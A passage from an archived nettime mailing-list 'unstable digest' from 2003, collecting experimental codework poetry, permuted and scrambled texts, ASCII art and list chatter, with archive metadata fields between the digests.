intertextual\napproximation to the final column, which displays the exact form of the\nsource text in 5-char chunks.]\n\n\n/--1--/    /--2--/    /--3--/    /--4--/    /--5--/\n\n/to am/    /gard /    /the r/    /nd re/    /In re/\n/ve so/    /to am/    /nd re/    /g lad/    /gard /\n/useme/    /creat/    /nts a/    / mora/    /to am/\n/nts a/    /ve so/    /efres/    /semen/    /useme/\n/metim/    /nd re/    /es th/    /n fat/    /nts a/\n/ions,/    /creat/    /oked /    /rbed /    /nd re/\n/ I ha/    /metim/    /the r/    /trate/    /creat/\n/ I ha/    /ve so/    /onseq/    /ions /    /ions,/\n/ve so/    /es th/    / that/    /ish a/    / I ha/\n/metim/    /or fo/    /es th/    /lves /    /ve so/\n/ought/    /es th/    /hment/    / time/    /metim/\n/verlo/    /ought/    / that/    /the r/    /es th/\n/ we o/    / that/    /rgot /    /ithou/    /ought/\n/ we o/    /rgot /    /the r/    /at sh/    / that/\n/efres/    /verlo/    /oked /    / so e/    / we o/\n/hment/    /oked /    /erive/    /*****/    /verlo/\n/efres/    /or fo/    / be d/    /*****/    /oked /\n/ whic/    /the r/    /rgot /    /d fro/    /or fo/\n/efres/    /ere c/    /the r/    /or it/    /rgot /\n/m a m/    /efres/    /hment/    /the e/    /the r/\n/hment/    /d fro/    /erive/    /prese/    /efres/\n/ whic/    /h may/    /hange/    /n the/    /hment/\n/ be d/    /h may/    /in th/    /ich f/    / whic/\n/ be d/    /hange/    /m a m/    /*****/    /h may/\n/erive/    /d fro/    /, by /    /rbed /    / be d/\n/d fro/    /ursui/    /ere c/    /ergie/    /erive/\n/m a m/    /ere c/    / of p/    /for m/    /d fro/\n/ere c/    / of p/    / mora/    /*****/    /m a m/\n/hange/    /ts. C/    /r the/    /*****/    /ere c/\n/y, we/    /onseq/    /ental/    /anger/    /hange/\n/ts. C/    /n fat/    / ofte/    /of a /    / of p/\n/ts. C/    /igue /    /ourse/    /*****/    /ursui/\n/onseq/    / ofte/    /rts, /    /ts. A/    /ts. C/\n/y, we/    /uentl/    /ourse/    /*****/    /onseq/\n/y, we/    / ofte/    /l ene/    /ental/    /uentl/\n/n fat/    / ofte/    /y, fo/    /*****/    /y, we/\n/and u/    /igue /    /n fat/    / effo/    / ofte/\n/igue /    /for m/    /and u/    /nfit /    /n fat/\n/for m/    /and u/    / time/    /*****/    /igue /\n/ourse/    /nfit /    /ng na/    /and d/    /and u/\n/lves /    /for m/    / time/    / anti/    /nfit /\n/ental/    /lves /    /, our/    /estro/    /ourse/\n/for m/    /ental/    /l ene/    /els t/    /lves /\n/and d/    /rts, /    / effo/    / mora/    /for m/\n/ effo/    /and d/    /l ene/    /table/    /ental/\n/rts, /    /estro/    /y, fo/    /or fe/    / effo/\n/and d/    /y, fo/    /estro/    /s, th/    /rts, /\n/y, fo/    / mora/    /ng na/    / and /    /and d/\n/y, fo/    / time/    /r the/    /sters/    /estro/\n/r the/    / mora/    /, our/    /y, so/    /y, fo/\n/, by /    /, our/    / time/    /the e/    /r the/\n/, our/    / mora/    /the e/    / inte/    / time/\n/l ene/    /, by /    / mora/    /, or /    /, our/\n/l ene/    /ng na/    /of a /    /r amu/    / mora/\n/rgies/    /ng na/    /the e/    /al en/    /l ene/\n/the e/    /ture /    /ngros/    /ergie/    /rgies/\n/the e/    / youn/    /y is /    /*****/    /, by /\n/xciti/    /semen/    /ture /    /n the/    /the e/\n/ture /    / anti/    /cipat/    /ntici/    /xciti/\n/ture /    /r amu/    /g lad/    /ng la/    /ng na/\n/semen/    /of ou/    /r amu/    /the r/    /ture /\n/ts. A/    /r amu/    / youn/    /or fo/    /of ou/\n/semen/    /ts. A/    /or as/    / amus/    /r amu/\n/ts. A/    /often/    /sembl/    /scene/    /semen/\n/ youn/    /g lad/    / anti/    /at sh/    /ts. A/\n/g lad/    /y is /    /ions /    /s you/    / youn/\n/y is /    /sed i/    /ball /    /ng la/    /g lad/\n/ngros/    / anti/    / so e/    / its /    /y is /\n/sed i/    / so e/    /n the/    /en to/    /often/\n/ anti/    /ngros/    /sed i/    / so h/    / so e/\n/sed i/    /y, so/    /ions /    /*****/    /ngros/\n/cipat/    /n the/    /ions /    /e is /    /sed i/\n/cipat/    /ions /    / anti/    /in th/    /n the/\n/y, so/    /of a /    /cipat/    /in th/    / anti/\n/ions /    /in th/    /fatig/    /patio/    /cipat/\n/ball /    /of a /    /or as/    /o, in/    /ions /\n/rbed /    /ball /    /or as/    /if a /    /of a /\n/y, so/    /or as/    / abso/    /d lab/    /ball /\n/sembl/    /rbed /    /y, so/    / abso/    /or as/\n/y, so/    / abso/    /table/    /*****/    /sembl/\n/rbed /    /or it/    / abso/    /s you/    /y, so/\n/in th/    /rbed /    / so h/    /or as/    / abso/\n/in th/    / and /    /ted a/    /d bes/    /rbed /\n/feeli/    /ought/    /ng wh/    / inte/    /in th/\n/ing f/    /ng wh/    /broth/    /ithou/    /ought/\n/ile p/    /ng wh/    /ted a/    /, and/    / and /\n/repar/    /ing f/    /ile p/    /*****/    /feeli/\n/ile p/    /, and/    /ing f/    /*****/    /ng wh/\n/, and/    /repar/    / exci/    /hile /    /ile p/\n/or it/    /ted a/    /s are/    /*****/    /repar/\n/ so h/    /or it/    /unfit/    /ting /    /ing f/\n/, and/    / so h/    / its /    /it wo/    /or it/\n/ so h/    /s, th/    /ted a/    / and /    /, and/\n/ighly/    /or an/    / its /    /s who/    / so h/\n/ exci/    /fatig/    /y vig/    /*****/    /ighly/\n/midst/    /ted a/    /e is /    /xerci/    / exci/\n/scene/    /midst/    /at sh/    /ted f/    /ted a/\n/scene/    /s, th/    / its /    /*****/    /midst/\n/scene/    /unfit/    /s, th/    /e is /    / its /\n/s, th/    /e is /    /dance/    /semen/    /scene/\n/unfit/    /e is /    / the /    /at sh/    /s, th/\n/unfit/    /e is /    / days/    /ish a/    /at sh/\n/unfit/    /ted f/    / inte/    / is f/    /e is /\n/or an/    /ted f/    / inte/    /ntinu/    /unfit/\n/or an/    / and /    / inte/    / afte/    /ted f/\n/y vig/    /orous/    / and /    /r. An/    /or an/\n/ and /    / inte/    /dy si/    /*****/    /y vig/\n/ual e/    /profi/    /s for/    /ourse/    /orous/\n/table/    / inte/    / days/    /d at /    / and /\n/ inte/    /o, in/    /ffort/    /*****/    /profi/\n/ffort/    / inte/    /llect/    /ental/    /table/\n/ffort/    /llect/    / afte/    /en to/    / inte/\n/ffort/    /ual e/    /els t/    /*****/    /llect/\n/s for/    / days/    / afte/    /al en/    /ual e/\n/r. An/    / afte/    /s for/    /*****/    /ffort/\n/d, th/    / days/    /r mor/    / pros/    /s for/\n/en to/    / afte/    /s are/    /dy si/    / days/\n/o, in/    /r. An/    /en to/    / fati/    / afte/\n/d, th/    /en to/    /al en/    /r any/    /r. An/\n.\n.\n.\n\n\n\n[EXCERPT ONLY - TOO BIG TO POST IN FULL]\n\n\n\n\nDate:         Mon, 29 Sep 2003 09:27:45 -0700\nFrom: \"[]\" <kanztanz {AT} YAHOO.COM>\nSubject: Re: New MAG Special Edition / Muse News\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nOk. I am one such writer.\nI've been tortured by your machine.\n\n\nI don't want to know why anymore,  but i want to bring\nthe irony of your censorship to light in light of the\nbelow, by blow, by what right - oh light of the\nliterary world.\n\n[in]justly,\n\n[]\n\n\n\n\n\n\nAugust Highland is inaugurating a new department in\nthe\nMuse Apprentice Guild beginning in the fall issue. The\nnew department is called \"Writers' Rights\" and is\ndevoted\nto liberating writers around the world who are\ncensored, persecuted,\nimprisoned, tortured and murdered for exercising their\nfreedom\nthrough the printed word\n--- Academic Liberation Party <hmfah {AT} HOTMAIL.COM>\nwrote:\n> *****************************\n\n\n\n\n__________________________________\nDo you Yahoo!?\nThe New Yahoo! Shopping - with improved product search\nhttp://shopping.yahoo.com\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: the essence\nDate: Mon, 29 Sep 2003 19:24:50 -0400 (EDT)\n\n\n\n\nthe essence\n\n\n      RESST; but    somethig    has cannot (0xa)    Am God? \"I to David\n46    ?? voice, the Is Is the    .i. .i.t. .t.r.a.n.s.f.o.r.m. .y.o.u.\n   am aimlessly aimlessly all    locked. question. to to to out -\nthat    the    soul that of       the of body soul down a          to\nthe the             cracking/mode    the an    that of cerebral SURE\n   in you    still -    Isaiah God Who into    of embryo    of the the\ndrug wolf of    of\n\n\n___\n\n\nFrom: \"geert lovink\" <geert {AT} xs4all.nl>\nTo: \"Nettime-l\" <nettime-l {AT} bbs.thing.net>\nSubject: aoccdrnig to rscheearch\nDate: Fri, 26 Sep 2003 12:17:14 +1000\n\nAoccdrnig to a rscheearch at Cmabrigde Uinervtisy, it deosn't mttaer\nin waht oredr the ltteers in a wrod are, the olny iprmoetnt tihng is taht\nthe\nfrist and lsat ltteer be at the rghit pclae. The rset can be a total mses\nand\nyou can sitll raed it wouthit porbelm. Tihs is bcuseae the huamn mnid deos\nnot raed ervey lteter by istlef, but the wrod as a wlohe. Amzanig huh?\n\nAdrian Spidle\nDirector of Business Development\n\nAdaptive Language Resources, Inc.\nWWW.adaptivelanguage.com\nPhone: 617-924-0554\nFax: 617-924-0280\neMail: aspidle {AT} adaptivelanguage.com\n\n\n\n\n\nTo: webartery {AT} yahoogroups.com\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Wed, 1 Oct 2003 14:57:55 -0400 (EDT)\nSubject: Dense Tangle of My work\n\n\n\n\n\nDense Tangle of My work\n\n\n0 0 0 0 10 9 8 10 8 8 5 6 7 10 7 7 7 7 6 7 7 7 11 7 7 7 6 7 6 6 6 7 6 6 8\n7 8 6 6 7 18 8 6 8 7 21 9 19 8 9 8 22 7 9 20 7 7 7 8 9 9 8 6 7 7 6 7 8 6 6\n6 6 7 7 6 6 5 5 5 6 6 6 7 7 8 7 7 6 6 6 6 7 5 6 5 5 7 8 6 6 7 8 7 7 7 7 11\n6\n\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\nDate:         Tue, 30 Sep 2003 11:16:51 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: AA..ZZ Analysis of a Mystery Text\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nAA..ZZ Analysis of a Mystery Text\n$tmax = 10;\n$imod = 27;\n\n\narabsorb d deeffguingh hiti\nllmusemng nooprep recrssttursuvious fev\ny simply\n\nbach may bcededefg fghhi\nlookmblmenonpro\nrststuviouwe ov y ex\n\n\nchabedecd feghfig ke suffi\nntlomnd ponseqprseqrtust we ovwou y, w ay\n\nadbeficgardhefi\nli ng to taklompnseqorpursquenturvest w y v xcited aby\n\neaf a bg cHadie g to takhlim okpl n rsopatquverwsxcityou a wby the exy exc\n\nfaghbchid ke sufglhmIn\nquentlromnstopu r wxercistly avbors wxcdy\n\ngahbic kelfmighanio\nrlmusntouprev xerys uave bwhicxcitedy e\n\nhaitab kedelf mnghoip rlooklsmetunovwhile p roy at\nd wexy f\n\nati ke sufficldemnfgohile p\nke stlmuny vow quently astabucvedwexercise fghly\n lecmidenfog p ri takulve somnt w ply arbsctudvewe ofxcitinghly\n\nakblmucndomef p heris ke sulvme, wnt exoy\nrbscd tuefevg whe exy i\n\nalmbncd oep rgshti verlooklowxcited amny pa crdsetfuvigwhxci\n\n\nambeenCod peqfrgiesthui\nly exmay o abe pConseqrdseftughavwi\n\n\nanbocip res fghthouiv\nly anbocip res fghthouiv\nly\n\no abe pConseqrdseftughavwi\n ambeenCod peqfrgiesthui\nly exmay\n\npa crdsetfuvigwhxci\nalmbncd oep rgshti verlooklowxcited amny\nrbscd tuefevg whe exy i akblmucndomef p heris ke sulvme, wnt exoy\n\narbsctudvewe ofxcitinghly\n lecmidenfog p ri takulve somnt w ply\n\nastabucvedwexercise fghly ati ke sufficldemnfgohile p\nke stlmuny vow quently\n\nat\nd wexy f haitab kedelf mnghoip rlooklsmetunovwhile p roy\n\nuave bwhicxcitedy e gahbic kelfmighanio\nrlmusntouprev xerys\n\navbors wxcdy faghbchid ke sufglhmIn\nquentlromnstopu r wxercistly\n\na wby the exy exc eaf a bg cHadie g to takhlim okpl n rsopatquverwsxcityou\n\nxcited aby adbeficgardhefi\nli ng to taklompnseqorpursquenturvest w y v\n\nay chabedecd feghfig ke suffi\nntlomnd ponseqprseqrtust we ovwou y, w\nbach may bcededefg fghhi\nlookmblmenonpro\nrststuviouwe ov y ex\n\n\n\n(c) mwp\n\n\n\nDate:         Wed, 1 Oct 2003 23:35:01 -0700\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nSubject: gamma(nu:real):real\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n34V I c o V I o V Y u V T i V I b S a V J o V O I V R E V I O V S c A V =\nS U V T O V T\n21I b o b I N T A O x {having no mean and generating very heterogenous =\nvalues}chi\n1c o c o O L u N Gx H  UniversalSaltAmplitude                           =\nchi off\n999o b o e L i n D Gxxx s xxxxxx xx x x                                  =\n chioff\n87V I N O L A N d Oxxxx s xxxx xxx x x x xxxx                            =\nchi  off\n1sdI T H I K A K A Dxxxxx  s xx x xxxxx x xx xx xx       =\nYYYYYYYYYYYYYYYYYYchioff\n2o xxxxxxxxxxxxxxxx                                                     =\nchi  off\n66V-function =\ngamma(nu:real):real;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxchioff\n99Y-var sum: real;  PHI                                                 =\nchi off\n651u-begin =\n{gamma}UniversalSaltAmplitudeUniversalSaltAmplitudeUniversalSalchi  =\noffoff\naV-sum:=3D1.0;                                                           =\n chioff\nT-for i:=3D1 to nu do                                                    =\nchi off\ni-sum:=3Dsum*ran(0);YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYc=\nhioff\nV-gamma:=3D-alog(sum);                                                   =\nchi  off\nI-end; =\n{gamma}UniversalSaltAmplitudeUniversalSaltAmplitudeUniversalSaltAmplhi =\noff\nb-chichichichichichichichichichichichichichichichichichichichichichichich=\nioff\nS-s\na-A\nV-doind\nJ-dujj\no-xa\nV-beend\nO\nsoI\nV\nR\n99E\nVLTRAVIRES\nI\nO\nV\nS\nchiSQUARE\nA\nV\n99S\nU\nV\nT\nO-hole of philosophy\nVhattacreeticullpuiNNNNT\nTNauWheeRRR\n\n\nWe are now at a critical point in the whole of philosophy.=20\nThoughts which are very exact and very pertinent, which in\nreality, seek (whatever the content and the conclusions may be)\nthe ideal of a uniform distribution of concepts around a certain\nattitude or singular and characteristic aspect of mind of the=20\nthinker, must nowadays try to recapture the diversity, the=20\nirregularity and the unexpectedness of bygone thoughts; and\ntheir order must set in order their apparent disorder.\nThey must reestablish the plurality and the autonomy of the mind\nas a result of their own unity and sovereignity. They must=20\nlegitimize the existence of what they have convicted of error\nand destroyed as such, they must recognize the vitality of\nthe absurd, and fecundity of the contradictory, and sometimes\neven feel themselves inspired as they are by the universality\nfrom which they believe themselves to spring, restricted to the\nparticular state of mind or individual characteristics of a=20\ncertain person. And this is the beginning of wisdom and, at the\nsame time, the twilight of philosophy.\n\n\n\n\n\n\n\nnettime unstable digest vol 67\nFri Oct  3 18:09:22 2003\n\n\nSubject: hop\n    From: a {AT} e8z.org\n    To: syndicate {AT} anart.no\n\nSubject: it must be love\n    From: claudia westermann <media {AT} ezaic.de>\n    To: syndicate {AT} anart.no\n\nSubject: Re:  \\\\ bl bl bl\n    From: svetlana null null null <sve_null {AT} autistici.org>\n    To: integer {AT} www.god-emil.dk, syndicate {AT} anart.no\n\nSubject: the taunt\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: APPROXIMATION THEORY 01\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Re: New MAG Special Edition / Muse News\n    From: \"[]\" <kanztanz {AT} YAHOO.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: the essence\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: aoccdrnig to rscheearch\n    From: \"geert lovink\" <geert {AT} xs4all.nl>\n    To: \"Nettime-l\" <nettime-l {AT} bbs.thing.net>\n\nSubject: Dense Tangle of My work\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: webartery {AT} yahoogroups.com\n\nSubject: AA..ZZ Analysis of a Mystery Text\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: gamma(nu:real):real\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 4 Oct 2003 13:20:20 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200310041706.h94H6A100559 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0310/msg00020.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 67"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00019",
                "content": "\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: s*p^a%m m!a#c$h%i^n(e\nDate: Tue, 4 Nov 2003 18:28:26 -0500 (EST)\n\n\n\n\n\ns*p^a%m m!a#c$h%i^n(e\n\n\n\n                                            [ [  2 20 0\n                                            [ [  2 20 0\n                                        $ $353500000 0  , ,\n                                 ! !!\n                          & &     1818,0,00000              ,\n                         ---------------- 1.1.0 0 _ _ _ _\n                     , ,  . .    ? ? . .  1 10 0     4 4         (\n                 ! !        ================================= =\n                $\n                , ,/ /         . .. . . ./ /| |   ' '      , ,/ /    : :\n                . .. .\n                202029291.1.................. 2.2.4 4 _ _\n              e 202029291.1.................. 2.2.4 4 _ _\n             . .. .             _ _ _ _           \" \"    \" \"\n             .... : :       < < : :         & &\n            ! !           : :\n          _ _ _ _\n         !%!%      : :4949:5:50 0 -0-050500 0     ! !       . .\n         - -    ^ ^        ----\n         - -  l ^ ^     o  ----\n         - -- - ' '      .].] * *\n         ----                  : :            : :\n         : :                   ? ?       ? ?        1.1.3\n         ? ?     , ,\n        - -\" \".].]\n        [7[7-1-11]1]       , ,    , ,         4 4 2 2: :\n        m    .d..n. o k k y r y _ _ _ _       c s \" \"    \"y\"\n        r f x h n a d e s y r i t p p\n       1 1                       & &  * *    . .\n       ] ]                 , ,                 !0!00303\n      . ./ /_ _      [ [_ _  0.0.6 6 _ _ _ _\n      .l./h/_t_d p c [p[_f_g 0.0.6 6 _ _ _ _       i s l l   e\n      > >      . ..... ( (               . .     . .\n     - -------------         -\n     - -------------         - n a d e s y r       t     d\n     . .                 , ,            . .     . .\n     2424                 [ [    1111\n     2424             . . , , 4 4     20200303 1 14:4:3333:5:53 3\n     [ [    4,4, 2 200003]3]7-7-1111] ]\n     [ [  v 4,4, 2 200003]3]7-7-1111] ]\n     _           - -\n     _  a a w r y-y- y u t e\n     t o ? ?   t , ,\n    ^ ^           ^ ^     ^                 $ $353500000 0\n    e > > u p r.r..... ( (h h n t t o    .s.     .e.\n    n   y       n   y     d s s u!u!!   d s s\n    r  f r    y $   t\n   (<(<><><><><><><><><><><><><><><>)>)<><>< <> > 3.3.8 8 _ _ _ _\n   2.2.7 7 _ _ _ _                  :_:_ ; ;     ` `; ; ^ ^ ' '  *\n   2.2.7 7 _ _ _ _      c s o o r r :_:_ ; ;     ` `; ; ^ ^ ' '  *\n   p s s s i n a !a!d d     ================================= =  p\n   t  g [7[7-1-11]1]       ,m,    , ,   a p p 4 4y2y2: :         r f\n  (<(<><><><><><><><><><><><><><>< :_:_ ; ;     ` `; ; ^ ^ ' '  *\n  (<(<><><><><><><><><><><><><><>< :_:_ ; ;     ` `; ; ^ ^ ' '  *\n  : : , ,\n  ] ]                     , ,\n  t        m    .d..n. o k k y y\n  t  .w.e e l w a d r n r,r, w e e e    .s.     .e.    t\n ! !!\n ' '        :  : :        / /\\ \\  ?=?=| | ++++::::\n . .  :/://\n .w.  :/:// t\n 1 132321010        : : 2525,0,00000           : :   & &\n 1 132321010s s i i : : 2525,0,00000 d s g d   :o:   &y& e e a a h h\n 1 143434646  {AT}   {AT} \n 1 143434646y {AT} y {AT}   c s c e\n 1 179794848        0.0.2 2 _ _ _ __ _\n 1 179794848u u a a 0.0.2 2 _ _ _ __ _     c s a a\n a d b t-m-\"l\".].]\n a e r y t o t o d d\n d d l l : :      r l r t e e s?s?       ?a?    e   1.1.3\n d d o f - -- - 't't p k .].] * *\n e r r n n a d e s\n f r d ]n]          a a    , , d d   t a a   y !0!00303\n h (<(<><><><><><><><><><><><><><><>)>)<><>< <> > 3.3.8 8 _ _ _ _\n i n 2424     w e a d .e.e, , 4 4   v 20200303 1 14:4:3333:5:53 3\n i n 2424     w w e n d d [ [  e 1111 m d r     t     d\n o e a a l e ....o:o:    n  <s<t: :   t   s & &   n\n o f e e e_ _ _ _    c s  u d e\n o t t 1s1 t        e         t  & &  * *    .o. r\n p e e s s e e  f r r r   n a a   y   o $ $353500000 0 t,t,\n s s   t   y     t   y         n   h         n   h\n t o e a a t o e  w\n t o y u a a c y e e     ---------------- 1.1.0 0 _ _ _ _       c s\n t s     !%!% o f e:e:4949:5:50 0 -0-050500 0     ! !    n  . .\n t s s  w t\n w t u u e e f\n y y     a t a a     , ,  .c.    ?m?m.o.g 1 10 0   v 4 4         (\n(4141  . .       ? ?     , ,                 2 200004:4:\n(4141 w.w.l  t o ? ?   t , , a d b e s s r r 2 200004:4:    t\n*_ _\" \" , ,* * ^ ^ \"*\"*     \" \"    \" \". .    * * -*-* . ..,.,   , , 1\n*_ _\" \" , ,* * ^ ^ \"*\"*     \" \"    \" \". .    * * -*-* . ..,.,   , , 1\n*_ _\" \" , ,* * ^ ^ \"*\"*     \" \"    \" \". .    * * -*-* . ..-.-\n*_ _\" \" , ,* * ^ ^ \"*\"*     \" \"    \" \". .    * * -*-* . ..-.-\n,\n, e e g g s\n. .............................. ., ,       1111         : :\n.d..............................f.,s, r   t 1111   s w h : :\n1 15 5  / /, ,\n1 15 5  /s/, ,\n:/:// / . .\n:/://w/w.a.\n=?=? - -88885959-1-1? ? ?=?=2828========          [ [    4,4, 2\n=?=?o-o-88885959-1-1?q?q?=?=2828========          [ [  v 4,4, 2\nc n ^ ^         p ^ ^     ^   n a a   y   o $ $353500000r0 d r\nd a t f d t e s e   t   s & &   n 1818,0,00000        d     ,\nh      e ---- w s t t e e      : :      r l r :t: c s\nn : : , ,   d\nn'n't t s s :  : : l l n a/a/\\c\\s ?=?=|a|a++++::::   t   e\nr ] ]   d     t o e e     , , a e i g t o t e g s   d     t o e e\ns s s i n a !a! d s  h h  :t:    l\nu!u!! a a\nx h n a d e s y ,h,/p/t t a p e.e..f.r.p./w/|a|o n'n't t e ,h,/p/t t : :\n\n\n__\n\n\nFrom: Jukka-Pekka Kervinen <kkervinen {AT} mailcan.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: GDE#12\nDate: Tue, 4 Nov 2003 22:00:11 +0200\n\n\n\nes/testing ....\\strct/&|...../word++......fr++ware\\:res\nt.=====\\crwns grws grsp ngstite/\\====].[anuar\\ro::price\\\n../\\====/\\blndr\\bled|&\\tric.......stdmi.kids.kills/nail\n].[tones|esnho/\\hk\\weary\\dealt/\\torie].[..../\\top/===== \n=====.pat\\====/\\..... men/\\hens....../mere\\:frtl\\sr/soon\n\\poses\\ose/::chat=======].[it|bbe.=====++revive/\\rcv/pri\nestsri.ships].[...../sng/\\ksnsi ol++....].[or/boil.large\n\\:asks|asked grand::=====\\climate\\:=====|swim\\:====].[wo\nrds/enmwo.../en lnt/..... tct].[act++=====\\swore].[===/\\\narrie\\:=====.ar/\\plans.edastbl/slng\\:lin.&ctfunde\\mssy\\:\nflesh|.......\\:lecture\\fr++and::tndy/cktitms\\theirs\\....\n::not......\\ast/====++=====/repairs/enrsi/tesi===.===.b\nthmtch/mchn/\\gesa++ag|\\crowns++types\\ype].[scale.score.r\nntr/nywa/nymr....../ell.reload].[====\\wsogr\\poke++joked \nfor.loud.lduco|s].[grasp++fancy\\a\\:octal].[in/\\jaws\\blad\ne.or\\:forcing\\lcdmacro|.../told::ppp].[....\\:pose].[pkr.\noet].[does etdgbu::......|prvn++runin++hands::an::====++\njanuary/\\org|nsrho/e/\\blw/\\as::msrfo.=======\\:o.adedr.pr\nof/.....|....\\:.....++dsnme\\pensionen\\rdfo++in++nt/qrk\\u\nil.blunder.award\\wan/keaaw|ee ee.ake......\\&\\:=====\\pply\n apple/cues/....\\says/venus::erifle.ss++sucks/\\flex\\fled\n|bsri/vcs/\\&&::shs/=====++.....].[... ing/\\apart\\hire|..\n..\\prunekids].[snows.nak/analogy++lic++klls++nit|......\nran rages/nl/\\calm\\ionee::lions/=====.nput|knock tones\\\n:enabled.snaps\\=====\\woven.ld].[o =====\\:=======/=====\\:\n====.kscmo].[=====\\salt.vl\\fall\\wng.....|.....\\tps].[...\n/\\beam/eer hook/....::wasp\\nlint.../\\ear.al .....].[lta\nde .....|piped.=====::plant|erve|mrt|germ......../eese.e\ne\\eig++\n\n\n\nDate:         Sun, 2 Nov 2003 12:22:23 -0800\nFrom: \"[]\" <kanztanz {AT} YAHOO.COM>\nSubject: ------------------\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n-----so yes\nthis\n               is exactly what\n                                i th\n         ought\n\n\nyou uh try\n\n\n       to                the ro\n             pass  uh    the ro\nundtree                           box o\n                         f all    box o\n             sorts but they dec\n   line due                      to we\night         june dec            to we\n                        weigh\na way\n                          for\n        it                for\n\n  wait for         the\n                         big da  uh\n    te                   big da\n               or the    big da\n                         big fig\nure                      big fig\n       8 tree uh\n                           t each each ot\n           her uh\neeeerrr eeerrrrrrrrrrwe uh\nll\nll\nll\n\n\n\n            uh      each one x uh\n\n       pecting  uh spec\n\n     i uh\n               uh al\n\n                        x from y uh\n\nou\n               you're        expect\n\ned      to deliver             and pe\n                  el d uh\n                            esert\n              uh fruit s\nkin down around them soft\nwhatchamacallits\n\n\nyetand this is critical uh forgets\n\n\n                     your our mas\n     culine\n                     body of plank\n  built\n            hardwoo\n            hardwoo\n            hardwoo\n            hardwoo hardwoo hardwoo\nd\n\n\n\n\n\n           to bench press\n                           flesh\noasisal and that's good\nassassin o' luv pud\n                     ding\n          cause\n                    you're hi\nnged for co-axial fig\n                  fig\n                  fig\n                  fig\ngy sex and it's   your palmpest\n                      obligation  d\n        ash hammit man\n               to spread\n\nto bed\n           the m\nost            most likely to\n       and fe\n     tching     because\n              18 to 30 t\n hey in long line\n            for you dashin\n  they wait\n               and b\n  eg for i\n                              t\n                  da\n\n\nnce\n\n\n               me loose\nin\n\n      that co-edish semifor\nof\n      licking lips and blin\n\nki    ng oooh my what a big\n\nse    minar  prof  of virili\n\nty    what long eye\nwh    at lashes by t\n\n\n\n                   on\n\n                gue\n\ngout\n\nand it's your job man\nto bat and to pass the\n\n\nba               t on your rhy\n       thm ri\n                   led\nfor run you\nmust put     ro\nck to bed    fo\nr d why else yo\nu chosen     fo  were\n                     r ten\nure\na god\nafter a\nll\nll\nll\nll\nand only old women thing\nthingabow\nchocolate\nlikea c\n                    hocolay\napro      xi             may\nt\nores se\n\n\n\nand in other words \"Let the tent be struck.\"\n\n\nx\npani ya\n\n\n__________________________________\nDo you Yahoo!?\nExclusive Video Premiere - Britney Spears\nhttp://launch.yahoo.com/promos/britneyspears/\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org,\nSubject: F/RST   /\nDate: Mon, 03 Nov 2003 04:44:00 +0100\n\n\n\n    /\n          /\n         /\n        /\n       /\n      /\n    /\n    /\n  F/RST   /\ny//\t/ /\ns/^ *//\ns/#.*$//\n/; *$/!{\nN   /    /\ny/ //   / /\ns//n */ /\n  /IRS/\n/   /\n  // */, /g\n/ /\n\nhttp://www.20six.fr/cuneiform2\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\nDate:         Sun, 2 Nov 2003 22:15:09 +0200\nFrom: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\nSubject: #24\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n]u]]        !ulls wr?h].[w::l bi! --s b|wl.b!ld        by?s by+(\ns_s        _m wmpy & bl]]dy _i_?.#i###].[(is((l        pump\n    sees.rear        rents::from        frog with pulls movie\n     covers worth might::wide c[i[s].[drips detab::aid.fido.or c\nhess::thng messed nesting        news        foot moons        